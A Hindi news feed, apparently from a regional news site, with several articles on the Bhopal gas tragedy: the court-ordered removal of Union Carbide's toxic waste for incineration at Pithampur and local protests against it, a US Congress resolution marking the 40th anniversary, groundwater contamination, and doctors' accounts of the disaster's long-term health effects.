मध्य प्रदेश सरकार ने हाई कोर्ट की फटकार के बाद ये एक्शन लिया है. एक सप्ताह पहले ही MP हाईकोर्ट ने सरकार को फटकार लगाई थी. कोर्ट ने भोपाल में फैक्ट्री साइट से कचरा न हटाए जाने पर सवाल उठाए थे. अदालत ने सरकार से पूछा था कि लगातार निर्देश दिए जाने के बाद भी कचरे का निपटारा क्यों नहीं किया जा रहा है? जबकि इसे लेकर सुप्रीम कोर्ट के साथ-साथ हाई कोर्ट भी निर्देश जारी कर चुका है. सुनवाई के दौरान HC ने कहा था कि 'निष्क्रियता की स्थिति' एक और त्रासदी का कारण बन सकती है.

सुबह-सुबह फैक्ट्री पहुंचे GPS से लैस ट्रक

जहरीले कचरे को इंदौर ले जाने के लिए रविवार सुबह GPS से लैस आधा दर्जन ट्रक यूनियन कार्बाइड फैक्ट्री साइट पर पहुंचे. इनके साथ लीक प्रूफ कंटेनर भी थे. मौके पर PPE किट पहने कर्मचारी, भोपाल नगर निगम के कर्मचारी, पर्वायरण एजेंसियों के लोग, डॉक्टर्स और कचरा डिस्पोज करने वाले विशेषज्ञ भी शामिल थे. फैक्ट्री के आसपास पुलिकर्मियों की तैनाती भी की गई थी. एजेंसी के सूत्रों के मुताबिक प्लान के तहत जहरीले कचरे को इंदौर के पीथमपुरा में जलाया जाएगा. यह इलाका राजधानी भोपाल से करीब 250 किलोमीटर दूर है.  

बनाया जा रहा 250 KM लंबा कॉरिडोर

मध्य प्रदेश के गैस राहत एवं पुनर्वास विभाग के डायरेक्टर स्वतंत्र कुमार सिंह का के मुताबिक पीथमपुरा तक जहरीला कचरा पहुंचाने के लिए 250 किलोमीटर का ग्रीन कॉरिडोर बनाया जा रहा है. हालांकि, उन्होंने कचरे के परिवहन और उसे डिस्पोज करने की तारीख नहीं बताई. लेकिन सूत्रों का कहना है कि 3 जनवरी तक कचरा पीथमपुरा पहुंच जाएगा.

3 महीने में जलकर राख हो जाएगा कचरा!

डायरेक्टर स्वतंत्र कुमार सिंह ने एजेंसी को बताया कि शुरुआत में कचरे का कुछ हिस्सा पीथमपुर की कचरा निपटान इकाई में जलाया जाएगा और अवशेष (राख) की वैज्ञानिक जांच कर पता लगाया जाएगा कि उसमें कोई हानिकारक तत्व तो नहीं बचा है. डायरेक्टर ने कहा,'अगर सब कुछ ठीक रहा तो 3 महीने में कचरा जलकर राख हो जाएगा. लेकिन अगर जलने की गति धीमी रही तो इसमें 9 महीने तक लग सकते हैं. कचरा जलाने वाली 'भट्टी' से निकलने वाले धुएं को 4 लेयर फिल्टर्स से गुजारा जाएगा ताकि आसपास की हवा प्रदूषित न हो. इस प्रोसेस का हर पल रिकार्ड रखा जाएगा.'

डबल लेयर के अंदर किया जाएगा डिस्पोज

स्वतंत्र कुमार सिंह के मुताबिक,'एक बार जब कचरे को जला दिया जाएगा और हानिकारक तत्वों से मुक्त कर दिया जाएगा तो राख को दो-परत वाली मजबूत 'झिल्ली' से ढक दिया जाएगा और 'लैंडफिल' में दफना दिया जाएगा. ऐसा इसलिए किया जाएगा कि ताकि सुनिश्चित हो सके कि कचरा किसी भी तरह से मिट्टी और पानी के संपर्क में नहीं आएगा.'

पीथमपुरा के आसपास के लोग कर रहे विरोध

हालांकि, इस पूरी प्रोसेस का एक दूसरा पहलू भी है. पीथमपुरा के आसपास के लोग और सामाजिक कार्यकर्ताओं का समूह वहां कचरा जलाने का विरोध कर रहे हैं. लोगों का कहना है कि 2015 में पीथमपुर में परीक्षण के तौर पर 10 टन यूनियन कार्बाइड का कचरा नष्ट किया गया था. इससे कारण आसपास के गांवों की मिट्टी, जमीन का पानी और पानी के सोर्स प्रदूषित हो गए. हालांकि, स्वतंत्र कुमार सिंह ने इस दावे को खारिज कर दिया.

हाई कोर्ट ने सरकार को लगाई थी फटकार

बता दें कि मध्य प्रदेश हाई कोर्ट ने 3 दिसंबर को 4 सप्ताह के अंदर जहरीले कचरे को फैक्ट्री से शिफ्ट करने की डेडलाइन दी थी. हाई कोर्ट ने कहा था कि यह खेदजनक स्थिति है. अदालत ने सरकार को चेतावनी दी थी कि अगर निर्देशों का पालन नहीं किया गया तो अदालत की अवमानना के तहत कार्रवाई की जाएगी. हाई कोर्ट के चीफ जस्टिस एसके कैत और जस्टिस विवेक जैन की डिवीजनल बैंच ने सख्त टिप्पणी करते हुए कहा था,'हम समझ नहीं पा रहे हैं कि समय-समय सुप्रीम कोर्ट और हाई कोर्ट के निर्देशों के बाद भी जहरीले कचरे को हटाने का काम शुरू क्यों नहीं हुआ है, जबकि कचरा हटाने के लिए 23 मार्च 2024 की योजना पर काम किया जाना था.' इस मुद्दे को लेकर अब 6 जनवरी को हाई कोर्ट में अगली सुनवाई होगी.

पांच हजार से ज्यादा लोंगों की हुई थी मौत

बता दें कि 2 दिसंबर 1984 की रात भोपाल की यूनियन कार्बाइड कीटनाशक फैक्ट्री से जहरीली गैस मिथाइल आइसोसाइनाइट (MIC) का रिसाव हुआ था. इस हादसे में 5,479 लोगों की मौत हो गई थी. गैस लीक की वजह से पांच लाख से ज्यादा लोगों का स्वास्थ्य बुरी तरह से प्रभावित हुआ था. जिसका असर आज भी कई लोगों पर नजर आता है. इस हादसे के बाद कई लोग विकलांगता के शिकार हो गए थे.

कचरा निपटारा मामले में अब तक क्या-क्या हुआ?

2004 में मध्य प्रदेश हाईकोर्ट में एक जनहित याचिका दायर की गई. कोर्ट ने भारत सरकार के रसायन और पेट्रोकेमिकल्स विभाग के सचिव की अध्यक्षता में एक टास्क फोर्स का गठन किया. केंद्रीय प्रदूषण नियंत्रण बोर्ड (सीपीसीबी) के विशेषज्ञों ने 2005 में कचरे के सुरक्षित निपटान के लिए गुजरात के अंकलेश्वर में भरूच एनवायरो-इन्फ्रास्ट्रक्चर लिमिटेड (बीईआईएल) के स्वामित्व वाले एक विश्व स्तरीय भस्मक की पहचान की गई. लेकिन 2007 में गुजरात में विरोध प्रदर्शन और 2009 में सुप्रीम कोर्ट के हस्तक्षेप के बाद, इसे रोक दिया गया.

टास्क फोर्स ने हैदराबाद में डुंगीगल और मुंबई में तलोजा सहित अन्य उपचार, भंडारण और निपटान सुविधा (टीएसडीएफ) साइटों की पहचान की. 2010 में, सुप्रीम कोर्ट ने एक सफल परीक्षण के बाद मध्य प्रदेश के पीथमपुर में टीएसडीएफ में 346MT कचरे को जलाने की अनुमति दी. इस फैसले को दो साल बाद राज्य ने चुनौती दी और 2012 में सुप्रीम कोर्ट में एक विशेष अनुमति याचिका दायर की जिसमें तर्क दिया गया कि “भोपाल गैस के जहरीले कचरे को जलाने के लिए यह सुविधा तकनीकी रूप से उपयुक्त नहीं है, जो औद्योगिक कचरे की तुलना में अधिक खतरनाक है.”

डॉयचे गेसेलशाफ्ट फर इंटरनेशनेल ज़ुसामेनरबीट जीएमबीएच (जीआईजेड), जिसने जर्मनी में कचरे के निपटान के लिए 24.56 करोड़ रुपये की लागत का प्रस्ताव प्रस्तुत किया था, लेकिन 2012 में अपने नागरिकों के व्यापक विरोध के बाद इसे वापस ले लिया. 2015 में, केंद्र ने पीथमपुर टीएसडीएफ में एक परीक्षण चलाया, लेकिन निवासियों के विरोध के बाद आगे की योजनाओं को स्थगित करना पड़ा. फिर केंद्र और राज्य की सहमति के बिना सात साल तक कोई कार्रवाई नहीं हुई.
जहरीले कचरे के निपटारे की क्या योजना है?

इस परियोजना के 180 दिनों में क्रियान्वित होने की उम्मीद है. पहले 20 दिनों में, कचरे को पैक किए गए ड्रमों में दूषित स्थल से निपटान स्थल तक ले जाया जाएगा. बाद में, इस कचरे को भंडारण से एक मिश्रण शेड में स्थानांतरित कर दिया जाता है, जहां इसे रीजेंट्स के साथ मिलाया जाता है और फिर 3 से 9 किलोग्राम वजन वाले छोटे बैग में पैक किया जाता है. वास्तविक भस्मीकरण 76वें दिन ही होगा जब भस्मीकरण से संबंधित सभी रिपोर्टें वास्तविक निपटान शुरू होने से पहले वारिस की मंजूरी के लिए कई विभागों को भेजी जाएंगी, ताकि यह सुनिश्चित किया जा सके कि हवा की गुणवत्ता खराब न हो और मानक संचालन प्रक्रियाओं के अनुसार भस्मीकरण हो.

राज्य के गैस राहत और पुनर्वास विभाग के निदेशक स्वतंत्र कुमार सिंह ने कहा, "भोपाल गैस त्रासदी का कचरा एक कलंक है जो 40 साल बाद मिटने जा रहा है. हम इसे सुरक्षित तौर पर पीथमपुर भेजकर नष्ट करेंगे. इस रासायनिक कचरे को भोपाल से पीथमपुर भेजने के लिए करीब 250 किलोमीटर लंबा ‘ग्रीन कॉरिडोर' बनाया जाएगा. ‘ग्रीन कॉरिडोर' का मतलब सड़क पर यातायात को व्यवस्थित करके कचरे को कम से कम समय में गंतव्य तक पहुंचाने से है."

हालांकि इस कचरे को पीथमपुर भेजकर नष्ट करने की प्रक्रिया शुरू किए जाने की कोई तारीख नहीं बताई गई है, लेकिन सूत्रों का कहना है कि उच्च न्यायालय के निर्देश के मद्देनजर ये प्रक्रिया जल्द शुरू हो सकती है.
कई प्रक्रियाओं से होकर गुजरेगी कचरे का निपटारा

गैस राहत और पुनर्वास विभाग के निदेशक ने बताया कि पीथमपुर की अपशिष्ट निपटान इकाई में शुरुआत में कचरे के कुछ हिस्से को जलाकर देखा जाएगा और इसके ठोस अवशेष (राख) की वैज्ञानिक जांच की जाएगी, ताकि पता चल सके कि इसमें कोई हानिकारक तत्व बचा तो नहीं रह गया है. अगर जांच में सब कुछ ठीक पाया जाता है, तो कचरे को तीन महीने के भीतर जलाकर भस्म कर दिया जाएगा. वरना इसे जलाने की रफ्तार धीमी की जाएगी, जिससे इसे नष्ट होने में नौ महीने तक लग सकते हैं.

स्वतंत्र कुमार सिंह ने बताया कि भस्मक में कचरे के जलने से निकलने वाले धुएं को चार स्तरों वाले विशेष फिल्टर से गुजारा जाएगा, ताकि आस-पास की वायु प्रदूषित न हो और इस प्रक्रिया के पल-पल का रिकॉर्ड रखा जाएगा. कचरे के भस्म होने और हानिकारक तत्वों से मुक्त होने के बाद इसके ठोस अवशेष (राख) को दो परतों वाली मजबूत ‘मेम्ब्रेन' (झिल्ली) से ढककर ‘लैंडफिल साइट' में दफनाया जाएगा, ताकि ये अपशिष्ट किसी भी तरह मिट्टी और पानी के संपर्क में न आ सके. उन्होंने कहा कि कचरे को प्रदेश सरकार, केंद्रीय प्रदूषण नियंत्रण बोर्ड और राज्य प्रदूषण नियंत्रण बोर्ड की निगरानी में विशेषज्ञों का दल सुरक्षित तरीके से नष्ट करेगा और इसकी विस्तृत रिपोर्ट उच्च न्यायालय में प्रस्तुत की जाएगी.

स्थानीय लोगों और पर्यावरण कार्यकर्ताओं के एक तबके का दावा है कि ‘यूनियन कार्बाइड' के 10 टन कचरे को 2015 में पीथमपुर की अपशिष्ट निपटान इकाई में परीक्षण के तौर पर नष्ट किए जाने के बाद आस-पास के गांवों की मिट्टी, भूमिगत जल और जल स्रोत प्रदूषित हो गए हैं.

गैस राहत और पुनर्वास विभाग के निदेशक सिंह ने इस दावे को गलत बताते हुए कहा, "2015 के इस परीक्षण की रिपोर्ट और सारी आपत्तियों की जांच के बाद ही पीथमपुर की अपशिष्ट निपटान इकाई में ‘यूनियन कार्बाइड' के कारखाने के 337 टन कचरे को नष्ट करने का फैसला किया गया है. इस इकाई में कचरे को सुरक्षित तरीके से नष्ट करने के सारे इंतजाम हैं और चिंता की कोई भी बात नहीं है."
रासायनिक कचरे के निपटारे से पीथमपुर के लोग चिंतित

बहरहाल, करीब 1.75 लाख की आबादी वाले पीथमपुर में यूनियन कार्बाइड का जहरीला कचरा जलाने की योजना को लेकर आम लोगों की चिंताएं अब तक दूर नहीं हुई हैं. इस कचरे के पीथमपुर की अपशिष्ट निपटान इकाई में जल्द पहुंचने की खबरों के बीच रविवार को बड़ी तादाद में जुटे लोगों ने अपने हाथ पर काली पट्टी बांधी और रैली निकालकर विरोध जताया.

रैली में शामिल लोगों ने अपने हाथों में 'पीथमपुर को भोपाल नहीं बनने देंगे' और 'पीथमपुर बचाओ, जहरीला कचरा हटाओ' जैसे नारों वाली तख्तियां थाम रखी थीं. प्रदर्शनकारियों ने कहा, "हम चाहते हैं कि यूनियन कार्बाइड कारखाने का कचरा नष्ट किए जाने से पहले वैज्ञानिकों द्वारा पीथमपुर की आबो-हवा की फिर से जांच की जाए. हम अदालत में भी अपना पक्ष रखने की पूरी कोशिश करेंगे."

पीथमपुर औद्योगिक क्षेत्र में छोटी-बड़ी 1,250 इकाइयां

इंदौर के पड़ोस के धार जिले के पीथमपुर औद्योगिक क्षेत्र में छोटी-बड़ी 1,250 इकाइयां हैं. पीथमपुर औद्योगिक संगठन के अध्यक्ष गौतम कोठारी ने कहा, "हम यूनियन कार्बाइड कारखाने के कचरे को पीथमपुर की औद्योगिक अपशिष्ट निपटान इकाई में जलाने के लिए किए गए इंतजामों से संतुष्ट हैं. इस कचरे के निपटान को कोरी आशंकाओं के आधार पर हौवा नहीं बनाया जाना चाहिए और स्थानीय लोगों को डरना नहीं चाहिए." उन्होंने हालांकि कहा कि अगर इस कचरे को नष्ट किए जाने के दौरान पीथमपुर में कोई दुर्घटना होती है, तो उनका संगठन आंदोलन करेगा.

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अमेरिकी संसद में 40 साल बाद उठा भोपाल गैस त्रासदी का मामला, जागरूकता दिवस मनाने का प्रस्ताव रखा https://pratyushaashakinayikiran.com/?p=107326 Sat, 07 Dec 2024 21:16:00 +0000 https://pratyushaashakinayikiran.com/?p=107326 वाशिंगटन
आज से 40 साल पहले 1984 में 2 और 3 दिसंबर की रात न केवल भोपाल बल्कि देश के इतिहास की सबसे भयावह रात है। इसी रात को भोपाल में गैस त्रासदी हुई थी। 2 दिसंबर की रात भोपाल स्थित यूनियन कार्बाइड पेस्टिसाइड प्लांट से जहरीली गैस मिथाइल आइसो साइनाइट का रिसाव शुरू हुआ। देखते ही देखते त्रासदी में 3787 लोगों की जान चली गई। मगर यह सरकारी आंकड़ा था। सुप्रीम कोर्ट में पेश रिपोर्ट के मुताबिक भोपाल त्रासदी में 15,724 से ज्यादा लोगों की जान गई है।

राष्ट्रीय रासायनिक आपदा जागरूकता दिवस मनाने का प्रस्ताव
भोपाल गैस त्रासदी के 40 साल पूरे होने पर अमेरिकी संसद में एक प्रस्ताव पारित किया गया है। इसके तहत 3 दिसंबर को अमेरिका में राष्ट्रीय रासायनिक आपदा जागरूकता दिवस के रूप में घोषित करने का प्रस्ताव है। इस प्रस्ताव को मर्कले, रॉन वाइडन और पीटर वेल्च ने पेश किया। अब इसे न्यायपालिका संबंधी समिति को भेजा गया है। प्रस्ताव में डॉव इंक और यूनियन कार्बाइड को जिम्मेदार माना गया है। पीड़ितों को मुआवजा देने की मांग भी की गई है।

प्रस्ताव में क्या है
प्रस्ताव में कहा गया कि भारत के भोपाल शहर में 3 दिसंबर 1984 को यूनियन कार्बाइड की एक कीटनाशक फैक्ट्री से जहरीली मिथाइल आइसोसाइनेट गैस का रिसाव हुआ थाी। इस हादसे के 72 घंटों के भीतर ही 8,000 लोगों की जान चली गई थी और 500,000 से अधिक लोग घायल हुए थे। यह दुनिया की सबसे बड़ी औद्योगिक आपदा थी।

त्रासदी का लोगों पर पीढ़ीगत प्रभाव
प्रस्ताव में यह भी कहा गया है कि भोपाल जैसी त्रासदी का आर्थिक और पीढ़ीगत बुरा प्रभाव पड़ा है। भोपाल में हादसे से बचे लोगों की मृत्यु दर काफी अधिक है। वहीं 150,000 से अधिक बचे लोग दीर्घकालिक बीमारियों से जूझ रहे हैं। लगभग 500,000 लोग शारीरिक और आर्थिक कठिनाइयों का सामना कर रहे हैं।

बचे पीड़ितों को कैंसर का खतरा अधिक
प्रस्ताव में सैन डिएगो विश्वविद्यालय के एक अध्ययन का भी जिक्र है। इसमें कहा गया है कि जो व्यक्ति आपदा के समय भोपाल में थे। उनमें कैंसर और विकलांगता की दर अधिक है। इसका असर रोजगार और शिक्षा के स्तर पर भी पड़ा है।

एंडरसन के प्रत्यर्पण की उठी मांग
प्रस्ताव में कहा गया है कि भारत सरकार ने यूनियन कार्बाइड और उसके पूर्व मुख्य कार्यकारी अधिकारी वॉरेन एंडरसन पर गैर-इरादतन हत्या का आरोप लगाया है। यह अमेरिका के कानून के तहत यह हत्या के बराबर है। ऐसे में एंडरसन का कृत्य एक प्रत्यर्पणीय अपराध है। इसमें यह भी कहा गया है कि यह सुनिश्चित करना अहम है कि दुनिया में किसी भी समुदाय को दोबारा भोपाल जैसे हादसे का सामना नहीं करना पड़े।

कंपनी ने भारतीय अदालतों के समन को किया अनदेखा
यूनियन कार्बाइड को खरीदने वाली कंपनी डॉव इंक के खिलाफ भारत सरकार के अनुरोध पर समय पर कदम उठाने की मांग भी की गई है। प्रस्ताव में कहा गया है कि यूनियन कार्बाइड और उसके प्रतिनिधियों ने भारत में अदालत में उपस्थित होने के समनों की अनदेखी की है। भारत और अमेरिका के बीच 1942 में दो प्रत्यर्पण संधियां हुईं। इसके तहत भारत ने आवेदन भी किए। मगर कंपनी के प्रतिनिधियों की उपस्थिति सुनिश्चित नहीं हो सकी।

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भोपाल गैस त्रासदी: 40 वर्ष बाद भी धरती के नीचे दफन है जहरीला कचरा https://pratyushaashakinayikiran.com/?p=105303 Mon, 02 Dec 2024 09:07:00 +0000 https://pratyushaashakinayikiran.com/?p=105303 भोपाल.
भोपाल गैस त्रासदी के 40 वर्ष इसी तीन दिसंबर को पूरे होने जा रहे हैं, पर गैस पीड़ितों को लेकर सरकारी वादों और जमीनी स्थिति में बहुत अंतर है। इतने वर्ष बाद भी जहरीला कचरा यूनियन कार्बाइड परिसर में दफन है। इस कारण भूजल प्रदूषित होने की बात सत्यापित हो चुकी है। वर्ष 2018 में इंडियन इंस्टीट्यूट आफ टाक्सिकोलाजी रिसर्च लखनऊ की रिपोर्ट में यह तथ्य सामने आ चुका है।

भूजल में हेवी मेटल, आर्गनो क्लोरीन
रिपोर्ट के अनुसार यूनियन कार्बाइड परिसर के आसपास की 42 बस्तियों के भूजल में हेवी मेटल, आर्गनो क्लोरीन पाया गया था, जो कैंसर और किडनी की बीमारी के लिए जिम्मेदार हो सकते हैं। इसके बाद इस क्षेत्र में नर्मदा जल की आपूर्ति सुप्रीम कोर्ट के निर्देश पर की जा रही है। आशंका है इन कालोनियों के अतिरिक्त प्रदूषित भूजल आगे पहुंच गया हो पर वर्ष 2018 के बाद जांच ही नहीं कराई गई। गैस पीड़ित संगठन के कार्यकर्ताओं का दावा है कि रैपिड किट से उन्होंने इनके अतिरिक्त कारखाने की साढ़े तीन किमी की परिधि में आने वाली 29 अन्य कालोनियों में भी जांच की तो आर्गनो क्लोरीन मिला है, पर कितना मात्रा में है इसकी जांच बड़े स्तर पर सरकार द्वारा कराने की आवश्यकता है।

गड़्ढे बनाकर जहरीला रासायनिक कचरा दबाया
गैस पीड़ितों के लिए काम करने वाली सामाजिक कार्यकर्ता रचना ढींगरा ने बताया कि त्रासदी के पहले परिसर में ही गड़्ढे बनाकर जहरीला रासायनिक कचरा दबा दिया जाता था। इसके अतिरिक्त परिसर में बनाए गए तीन छोटे तालाबों में भी पाइप लाइन के माध्यम जहरीला अपशिष्ट पहुंचाया जाता था। इस कचरे की कोई बात ही नहीं हो रही। कारखाने में रखे कचरे को नष्ट करने के लिए 126 करोड़ रुपये खर्च किए जा रहे हैं। इसे पीथमपुर में जलाया जाना है।

पुनर्वास के लिए मिली राशि में 14 वर्ष बाद खर्च नहीं हो पाए 129 करोड़ रुपये
सुप्रीम कोर्ट के निर्देश पर गैस पीड़ितों के पुनर्वास के लिए वर्ष 2010 में 272 करोड़ रुपये स्वीकृत किए गए थे। इसमें 75 प्रतिशत राशि केंद्र व 25 प्रतिशत राज्य सरकार की थी। इसमें भी 129 करोड़ रुपये आज तक खर्च नहीं हो पाए हैं। गैस राहत एवं पुनर्वास विभाग आज तक इस राशि को खर्च करने की योजना ही नहीं बना पाया है। आर्थिक पुनर्वास के लिए 104 करोड़ रुपये मिले थे। इसमें 18 करोड़ रुपये स्वरोजगार प्रशिक्षण पर खर्च हुए बाकी राशि बची है। सामाजिक पुनर्वास के लिए 40 करोड़ रुपये मिले थे, जिसमें गैस पीड़ितों की विधवाओं के लिए पेंशन का भी प्रविधान है। 4399 महिलाओं को पेंशन मिल रही हैं। वर्ष 2011 से यह राशि एक हजार है जिसे बढ़ाया नहीं गया है। न ही किसी नए हितग्राही को शामिल किया गया है।

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भोपाल गैस पीड़ित महिलाओं के गर्भ में पल रहे बच्चे भी हुए इस खतरनाक गैस के शिकार हुए : डॉ. डीके सत्पथी https://pratyushaashakinayikiran.com/?p=102708 Mon, 25 Nov 2024 17:10:00 +0000 https://pratyushaashakinayikiran.com/?p=102708  भोपाल

 भोपाल गैस त्रासदी को 40 साल हो गए, लेकिन इसका असर अब भी लोगों और उनकी अगली पीढ़ियों पर महसूस किया जा रहा है। दो और तीन दिसंबर 1984 की रात यूनियन कार्बाइड के कारखाने से जहरीली मिथाइल आइसोसाइनेट (एमआईसी) गैस लीक होने से 3787 लोगों की जान गई और पांच लाख से अधिक लोग प्रभावित हुए।

भोपाल के गांधी मेडिकल कॉलेज के फारेंसिक विभाग के पूर्व अध्यक्ष डॉ. डीके सत्पथी का दावा है कि त्रासदी की रात से अगले पांच सालों में 18 हजार प्रभावितों की जान गई है। भोपाल में गैस त्रासदी की बरसी पर आयोजित कार्यक्रम में डॉ. डीके सत्पथी ने कहा कि आपदा के पहले दिन उन्होंने 875 पोस्टमार्टम किए थे।
गैस हादसे वाले दिन से लगातार बीमार थे लोग

अगले पांच सालों में उन्होंने गैस प्रभावितों के 18 हजार शव परीक्षण देखे। इन शव परीक्षणों में जहर की पुष्टि तो नहीं हो पाई, लेकिन जिन लोगों की मौत हुई थी वे गैस हादसे वाले दिन से लगातार बीमार ही रहे थे। यह उस जहर का ही असर था, इसमें किसी को संदेह नहीं होना चाहिए था।

गर्भवती महिलाओं के बच्चों पर पड़ा असर

डॉ सत्पथी ने कहा कि यूनियन कार्बाइड ने गर्भस्थ शिशुओं में जहर के असर को हमेशा खारिज किया, लेकिन इस त्रासदी में मरने वाली गर्भवती महिलाओं के रक्त परीक्षण में यह देखा गया कि उसमें पाए गए जहरीले पदार्थों में से 50 प्रतिशत गर्भस्थ बच्चे में भी पहुंचे हुए थे, जो गर्भवती महिलाएं बच गईं उनके गर्भस्थ शिशुओं में इसका प्रभाव निश्चित रूप से पड़ा है।

केवल एंडरसन ही अपराधी नहीं, सिस्टम भी है

डॉ. सत्पथी ने कहा कि भोपाल गैस त्रासदी के लिए केवल यूनियन कार्बाइड का संचालक एंडरसन ही अपराधी नहीं था। वे लोग भी अपराधी थे, जिन्होंने जानबूझकर या अंजाने में ऐसे खतरनाक उद्योग को बड़ी आबादी के इलाके में संचालन की अनुमति दी, उसे चलने दिया। उद्योग सुरक्षा विभाग के वे अफसर भी अपराधी हैं जो हर महीने कंपनी में सब कुछ ठीक की रिपोर्ट भेजते रहे।

लोगों ने त्रासदी से जुड़े अनुभव साझा किए

कार्यक्रम में हमीदिया अस्पताल के डॉ. एचएच त्रिवेदी ने कहा कि कंपनियों को ऐसे रसायन बनाने से बचना चाहिए, जिनके दूरगामी प्रभाव और उसके एंटी डोज की कोई जानकारी न हो। पूर्व पार्षद नाथूराम सोनी ने मोहल्लों से लोगों को निकालने की घटनाएं याद कीं।

वहीं बबलू कुरैशी व मुईन ने मृतकों के अंतिम संस्कार का मंजर बताया। भोपाल ग्रुप फार इंफार्मेशन एंड एक्शन की रचना ढींगरा और रशीदा बी ने बताया कि गैस त्रासदी की बरसी पर पोस्टर प्रदर्शनी भी लगी है। इसे चार दिसंबर तक देखा जा सकेगा।

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